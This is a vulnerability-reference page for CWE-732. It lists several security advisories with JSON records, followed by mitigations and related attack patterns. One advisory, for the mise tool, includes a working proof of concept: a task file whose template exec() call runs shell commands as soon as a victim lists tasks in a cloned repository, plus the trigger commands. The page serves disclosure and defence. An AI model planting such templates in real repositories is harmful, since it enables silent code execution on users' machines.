CWE-732
Allowed-with-ReviewIncorrect Permission Assignment for Critical Resource
Abstraction: Class · Status: Draft
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
2075 vulnerabilities reference this CWE, most recent first.
GHSA-762W-4WR8-9572
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2024-04-04 03:04The Application Wrapper in Pearson VUE VTS Installer 2.3.1911 has Full Control permissions for Everyone in the "%SYSTEMDRIVE%\Pearson VUE" directory, which allows local users to obtain administrative privileges via a Trojan horse application.
{
"affected": [],
"aliases": [
"CVE-2020-36154"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-04T17:15:00Z",
"severity": "HIGH"
},
"details": "The Application Wrapper in Pearson VUE VTS Installer 2.3.1911 has Full Control permissions for Everyone in the \"%SYSTEMDRIVE%\\Pearson VUE\" directory, which allows local users to obtain administrative privileges via a Trojan horse application.",
"id": "GHSA-762w-4wr8-9572",
"modified": "2024-04-04T03:04:04Z",
"published": "2022-05-24T17:37:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36154"
},
{
"type": "WEB",
"url": "https://github.com/passtheticket/vulnerability-research/blob/main/privilege-escalation/pearsonvue-readme.md"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49143"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7637-C4CM-GWMG
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47An insecure file permissions vulnerability in Trend Micro Apex One, Apex One as a Service and OfficeScan XG SP1 could allow a local attacker to take control of a specific log file on affected installations.
{
"affected": [],
"aliases": [
"CVE-2021-28646"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T13:15:00Z",
"severity": "MODERATE"
},
"details": "An insecure file permissions vulnerability in Trend Micro Apex One, Apex One as a Service and OfficeScan XG SP1 could allow a local attacker to take control of a specific log file on affected installations.",
"id": "GHSA-7637-c4cm-gwmg",
"modified": "2022-05-24T17:47:28Z",
"published": "2022-05-24T17:47:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28646"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000286019"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000286157"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-766G-X59X-554C
Vulnerability from github – Published: 2026-06-03 00:30 – Updated: 2026-06-04 00:30Dräger Protector Software prior to version 6.4.2 contains a local privilege escalation vulnerability due to insecure file system permissions that allows local attackers to execute arbitrary code with elevated privileges. Attackers can replace binaries or loaded modules on the host system to execute code with NT SYSTEM privileges.
{
"affected": [],
"aliases": [
"CVE-2021-4481"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-02T22:16:15Z",
"severity": "HIGH"
},
"details": "Dr\u00e4ger Protector Software prior to version 6.4.2 contains a local privilege escalation vulnerability due to insecure file system permissions that allows local attackers to execute arbitrary code with elevated privileges. Attackers can replace binaries or loaded modules on the host system to execute code with NT SYSTEM privileges.",
"id": "GHSA-766g-x59x-554c",
"modified": "2026-06-04T00:30:25Z",
"published": "2026-06-03T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4481"
},
{
"type": "WEB",
"url": "https://static.draeger.com/security"
},
{
"type": "WEB",
"url": "https://static.draeger.com/security/download/2021-267-01-Draeger-Protector-Software-vulnerabilities.pdf"
},
{
"type": "WEB",
"url": "https://static.draeger.com/security/download/PSA-21-347-1-SCG-Security-Advisory.pdf"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dr-ger-protector-software-local-privilege-escalation-via-insecure-file-permissions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-768R-2VMX-W6MF
Vulnerability from github – Published: 2022-11-18 00:30 – Updated: 2025-04-29 15:31OPC Foundation Local Discovery Server (LDS) through 1.04.403.478 uses a hard-coded file path to a configuration file. This allows a normal user to create a malicious file that is loaded by LDS (running as a high-privilege user).
{
"affected": [],
"aliases": [
"CVE-2022-44725"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-17T22:15:00Z",
"severity": "HIGH"
},
"details": "OPC Foundation Local Discovery Server (LDS) through 1.04.403.478 uses a hard-coded file path to a configuration file. This allows a normal user to create a malicious file that is loaded by LDS (running as a high-privilege user).",
"id": "GHSA-768r-2vmx-w6mf",
"modified": "2025-04-29T15:31:14Z",
"published": "2022-11-18T00:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44725"
},
{
"type": "WEB",
"url": "https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2022-44725.pdf"
},
{
"type": "WEB",
"url": "https://opcfoundation.org/developer-tools/samples-and-tools-unified-architecture/local-discovery-server-lds"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-76RW-6XCG-JRH4
Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-12 12:32The application does not impose strict enough restrictions on directory access permissions, posing a risk that other malicious applications could obtain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2026-32684"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T11:16:19Z",
"severity": "LOW"
},
"details": "The application does not impose strict enough restrictions on directory access permissions, posing a risk that other malicious applications could obtain sensitive information.",
"id": "GHSA-76rw-6xcg-jrh4",
"modified": "2026-05-12T12:32:16Z",
"published": "2026-05-12T12:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32684"
},
{
"type": "WEB",
"url": "https://pinfo.hikvision.com/hkwsen/unzip/20260511114030_14652_doc/GUID-A47A8570-631E-4F62-BCEE-37E9F2983DD7.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-77G9-363W-RCCQ
Vulnerability from github – Published: 2026-06-23 18:24 – Updated: 2026-06-23 18:24Summary
mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task
Details
Trust is enforced only inside config-file parsing:
src/config/config_file/mise_toml.rs:276—MiseToml::from_str→trust_check(path)?src/config/config_file/tool_versions.rs:62—.tool-versionsparser →trust_check(&path)?src/config/env_directive/mod.rs:681— env templates →trust_check(path)?(only when the value contains template syntax)
Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context,
which walk every directory from CWD up to root. For each directory, configs_at_root
returns the parsed (trusted) configs rooted there; if there is no config in the
directory, mise falls back to the default task-include list resolved relative to that
directory and loads whatever it finds — with no trust check:
src/config/mod.rs (load_tasks_in_dir, ~2586):
let (includes, resolve_dir) = configs
.iter()
.find_map(|cf| match cf.task_config_includes() { … })
.transpose()?
.unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
let paths = … expand_task_include(&resolve_dir, include);
for p in paths {
let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
…
}
}
default_task_includes() (src/config/mod.rs:1825):
vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]
load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check
and renders each task:
let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec()
Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera
instance is built with get_tera(Some(config_root)):
let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}
get_tera (src/tera.rs:407) registers the command-executing functions:
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}
So a tera {{ exec(command='…') }} placed in any rendered task field
(description, dir, shell, sources, aliases, depends, tools, …) of a TOML
task file — or in a #MISE description="…" header of an executable script task
(Task::from_path) — executes when the task is merely loaded for listing, with no
trust prompt. exec() is not gated by experimental (default experimental = false).
Proof of concept
Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a
pristine HOME so nothing is pre-trusted.
Repo layout :
malicious-repo/
└── mise-tasks/
└── ci.toml
mise-tasks/ci.toml:
[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"
Trigger (any of these; a victim who has mise activate set up hits the last one by just
pressing Tab to complete a task name):
export HOME="$(mktemp -d)" # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks # or: mise task ls / mise run / mise tasks --usage
output:
test
and the side effect :
miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "mise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.6.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55441"
],
"database_specific": {
"cwe_ids": [
"CWE-732",
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T18:24:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nmise\u0027s trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, \u2026) but no config file, mise falls back to the default includes and renders each task\u0027s tera fields \u2014 and that tera environment has `exec()` registered. A `{{ exec(command=\u0027\u2026\u0027) }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There\u0027s no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task\n## Details\n\nTrust is enforced only inside config-file parsing:\n\n- `src/config/config_file/mise_toml.rs:276` \u2014 `MiseToml::from_str` \u2192 `trust_check(path)?`\n- `src/config/config_file/tool_versions.rs:62` \u2014 `.tool-versions` parser \u2192 `trust_check(\u0026path)?`\n- `src/config/env_directive/mod.rs:681` \u2014 env templates \u2192 `trust_check(path)?` (only when the value contains template syntax)\n\nTask-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`,\nwhich walk every directory from CWD up to root. For each directory, `configs_at_root`\nreturns the parsed (trusted) configs rooted there; **if there is no config in the\ndirectory**, mise falls back to the default task-include list resolved relative to that\ndirectory and loads whatever it finds \u2014 with no trust check:\n\n`src/config/mod.rs` (`load_tasks_in_dir`, ~2586):\n```rust\nlet (includes, resolve_dir) = configs\n .iter()\n .find_map(|cf| match cf.task_config_includes() { \u2026 })\n .transpose()?\n .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -\u003e default includes\n\u2026\nfor include in \u0026includes {\n let paths = \u2026 expand_task_include(\u0026resolve_dir, include);\n for p in paths {\n let mut loaded = load_tasks_includes(config, \u0026p, dir, \u0026task_config_dir, templates).await?;\n \u2026\n }\n}\n```\n\n`default_task_includes()` (`src/config/mod.rs:1825`):\n```rust\nvec![\"mise-tasks\", \".mise-tasks\", \".mise/tasks\", \".config/mise/tasks\", \"mise/tasks\"]\n```\n\n`load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check\nand renders each task:\n```rust\nlet raw = file::read_to_string_async(path).await?;\nlet mut tasks = toml::from_str::\u003cTasks\u003e(\u0026raw) \u2026 ; // no trust_check\n\u2026\nresolve_task_template(\u0026mut task, templates)?;\nif let Err(err) = task.render(config, \u0026config_root).await { \u2026 } // renders tera, incl. exec()\n```\n\n`Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera\ninstance is built with `get_tera(Some(config_root))`:\n```rust\nlet mut tera = get_tera(Some(config_root));\n\u2026\nif contains_template_syntax(\u0026self.description) {\n self.description = render_str(\u0026mut tera, \u0026self.description, \u0026tera_ctx)?;\n}\n```\n\n`get_tera` (`src/tera.rs:407`) registers the command-executing functions:\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n let mut tera = TERA.clone();\n let dir = dir.map(PathBuf::from);\n tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n tera.register_function(\"read_file\", tera_read_file(dir));\n tera\n}\n```\n\nSo a tera `{{ exec(command=\u0027\u2026\u0027) }}` placed in any rendered task field\n(`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, \u2026) of a TOML\ntask file \u2014 or in a `#MISE description=\"\u2026\"` header of an executable script task\n(`Task::from_path`) \u2014 executes when the task is merely *loaded for listing*, with no\ntrust prompt. `exec()` is not gated by `experimental` (default `experimental = false`).\n\n## Proof of concept\n\nTested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a\npristine `HOME` so nothing is pre-trusted.\n\nRepo layout :\n```\nmalicious-repo/\n\u2514\u2500\u2500 mise-tasks/\n \u2514\u2500\u2500 ci.toml\n```\n\n`mise-tasks/ci.toml`:\n```toml\n[test]\ndescription = \"{{ exec(command=\u0027id \u003e /tmp/mise_clone_proof.txt; hostname \u003e\u003e /tmp/mise_clone_proof.txt\u0027) }}\"\nrun = \"cargo test\"\n```\n\nTrigger (any of these; a victim who has `mise activate` set up hits the last one by just\npressing Tab to complete a task name):\n```bash\nexport HOME=\"$(mktemp -d)\" # nothing pre-trusted\nexport MISE_TRUSTED_CONFIG_PATHS=\"\"\ncd malicious-repo\nmise tasks # or: mise task ls / mise run / mise tasks --usage\n```\n\noutput:\n```\ntest\n```\nand the side effect :\n```\nmiau@linux:~$ cat /tmp/mise_clone_proof.txt\nuid=1000(miau) gid=1000(miau) groups=1000(miau)\u2026\nlinux \n```",
"id": "GHSA-77g9-363w-rccq",
"modified": "2026-06-23T18:24:08Z",
"published": "2026-06-23T18:24:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq"
},
{
"type": "PACKAGE",
"url": "https://github.com/jdx/mise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository"
}
GHSA-77JX-PQH8-P2WH
Vulnerability from github – Published: 2024-10-26 09:30 – Updated: 2024-10-26 09:30NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager that allows a user of the guest OS to access global resources. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and escalation of privileges.
{
"affected": [],
"aliases": [
"CVE-2024-0128"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-26T09:15:03Z",
"severity": "HIGH"
},
"details": "NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager that allows a user of the guest OS to access global resources. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and escalation of privileges.",
"id": "GHSA-77jx-pqh8-p2wh",
"modified": "2024-10-26T09:30:43Z",
"published": "2024-10-26T09:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0128"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5586"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-78GW-PGQH-JC7G
Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30A vulnerability in the read-only maintenance shell of Cisco Intersight Virtual Appliance could allow an authenticated, local attacker with administrative privileges to elevate privileges to root on the virtual appliance.
This vulnerability is due to improper file permissions on configuration files for system accounts within the maintenance shell of the virtual appliance. An attacker could exploit this vulnerability by accessing the maintenance shell as a read-only administrator and manipulating system files to grant root privileges. A successful exploit could allow the attacker to elevate their privileges to root on the virtual appliance and gain full control of the appliance, giving them the ability to access sensitive information, modify workloads and configurations on the host system, and cause a denial of service (DoS).
{
"affected": [],
"aliases": [
"CVE-2026-20092"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-21T17:16:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the read-only maintenance shell of Cisco Intersight Virtual Appliance could allow an authenticated, local attacker with administrative privileges to elevate privileges to root on the virtual appliance.\n\nThis vulnerability is due to improper file permissions on configuration files for system accounts within the maintenance shell of the virtual appliance. An attacker could exploit this vulnerability by accessing the maintenance shell as a read-only administrator and manipulating system files to grant root privileges. A successful exploit could allow the attacker to elevate their privileges to\u0026nbsp;root on the virtual appliance and gain full control of the appliance, giving them the ability to access sensitive information, modify workloads and configurations on the host system, and cause a denial of service (DoS).",
"id": "GHSA-78gw-pgqh-jc7g",
"modified": "2026-01-21T18:30:30Z",
"published": "2026-01-21T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20092"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-intersight-privesc-p6tBm6jk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7925-2P2W-MGXJ
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48PureVPN 6.0.1 for Windows suffers from a SYSTEM privilege escalation vulnerability in its "sevpnclient" service. When configured to use the OpenVPN protocol, the "sevpnclient" service executes "openvpn.exe" using the OpenVPN config file located at %PROGRAMDATA%\purevpn\config\config.ovpn. This file allows "Write" permissions to users in the "Everyone" group. An authenticated attacker may modify this file to specify a dynamic library plugin that should run for every new VPN connection attempt. This plugin will execute code in the context of the SYSTEM account.
{
"affected": [],
"aliases": [
"CVE-2018-10204"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-18T21:29:00Z",
"severity": "HIGH"
},
"details": "PureVPN 6.0.1 for Windows suffers from a SYSTEM privilege escalation vulnerability in its \"sevpnclient\" service. When configured to use the OpenVPN protocol, the \"sevpnclient\" service executes \"openvpn.exe\" using the OpenVPN config file located at %PROGRAMDATA%\\purevpn\\config\\config.ovpn. This file allows \"Write\" permissions to users in the \"Everyone\" group. An authenticated attacker may modify this file to specify a dynamic library plugin that should run for every new VPN connection attempt. This plugin will execute code in the context of the SYSTEM account.",
"id": "GHSA-7925-2p2w-mgxj",
"modified": "2022-05-13T01:48:44Z",
"published": "2022-05-13T01:48:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10204"
},
{
"type": "WEB",
"url": "https://github.com/VerSprite/research/blob/master/advisories/VS-2018-021.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-795Q-5PHH-5PCQ
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44Cybozu Office 10.0.0 to 10.5.0 allows remote authenticated attackers to bypass access restriction to obtain "customapp" information via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2017-2115"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-28T16:59:00Z",
"severity": "MODERATE"
},
"details": "Cybozu Office 10.0.0 to 10.5.0 allows remote authenticated attackers to bypass access restriction to obtain \"customapp\" information via unspecified vectors.",
"id": "GHSA-795q-5phh-5pcq",
"modified": "2022-05-13T01:44:42Z",
"published": "2022-05-13T01:44:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2115"
},
{
"type": "WEB",
"url": "https://support.cybozu.com/ja-jp/article/9737"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN17535578/index.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97717"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.
Mitigation
Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.
Mitigation
For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.
Mitigation
Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.
Mitigation
Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.
Mitigation MIT-37
Strategy: Environment Hardening
Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-206: Signing Malicious Code
The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.
CAPEC-234: Hijacking a privileged process
An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-61: Session Fixation
The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
CAPEC-642: Replace Binaries
Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.